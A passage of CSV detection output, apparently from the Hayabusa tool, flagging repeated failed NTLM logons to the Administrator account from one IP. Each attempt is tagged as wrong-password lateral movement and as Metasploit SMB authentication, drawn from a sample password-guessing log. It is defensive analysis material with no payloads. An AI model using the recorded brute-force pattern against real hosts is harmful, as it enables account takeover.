Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VMxY1IHx5VuvskM7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.608 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.667 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: d6uxMqLCcqHkuesV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.667 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.721 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TmeAWYvFEbqJp1rt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.721 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.826 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8tGAdT1CBRYRatVA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.826 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.925 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K0h9ulMPWtj8bEKI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:34.925 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eLyLMNv6cOp3sgrq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.052 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.098 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KIAOs16X8nFxV45x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.098 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.150 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z4EbyEaUxUEyuiY6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.150 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SDnW5GABBLbe6eZ7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.200 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.258 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GublgQLD3RXQNmkX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.258 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.301 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2BQRppHTUHAoWPe4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.301 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gnh6HFlIW1zWEBu5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.352 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.402 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ulbcy5PWLYUm5Sy0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.402 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.449 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L8rkZ7iBMam5o8VJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.449 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.493 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n39Zox0PFeNirzyT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.493 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.543 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3u3YUCKxEo5pnKJX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.543 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.589 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wen3pHM88kSRkHNf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.589 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dGDHJ4KMm2zEMV0b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.625 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lKZAB1nfXPYSLxsE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.673 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.724 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tYkOsX0XDpkdvp01 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.724 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.779 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r9y7HjOeGPcrdj1c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.779 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.823 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RLwh8Lg3nvbm8Q2p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.823 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.874 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QoMkBcp8ouIgpX4m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.874 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2UnrDiOAOec5DQGQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.918 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UxJGLShj5EDKLSDZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:35.976 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.033 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iWhaz8W0VLQdXKWN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.033 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.081 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 82YDxSIBnCAqdK4c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.081 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 795b7XqsxokIGJyM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.124 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.172 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1BmnyTsmP2XqMzf1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.172 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.221 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NB3xsYe3RcPXhDib : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.221 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.264 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yxN9i8exdO2h4oa7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.264 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vjcQaeuo4f8wFXhv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.300 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.351 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zCzr77BhliB4KKeb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.351 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z558005RepKaO1zZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.401 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.448 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9HFzW25mJz4JLkv7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.448 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.490 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y7J8m97GQWt2cbSs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.490 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.545 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XJrVwcpABBaZ8cyY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.545 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VcDw3I4BaFLdIeCZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.585 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: egEpV9aAuCFjwx2I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.637 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: th0ZLWF4YeOaNnkK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.677 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.712 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ahrOLfdy6DCQ9SfO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.712 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.751 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xiooSdP5eib8PUE3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.751 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.794 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s6nQ2jp9IGYnGeyD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.794 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.839 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ejMtyR5QNdJFhw1W : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.839 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.873 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e50kO0aVhfw5np5T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.873 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.913 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 176XyLw6IhEI6NuD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.913 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KXCzCSSFvpbWNJFd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:36.956 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 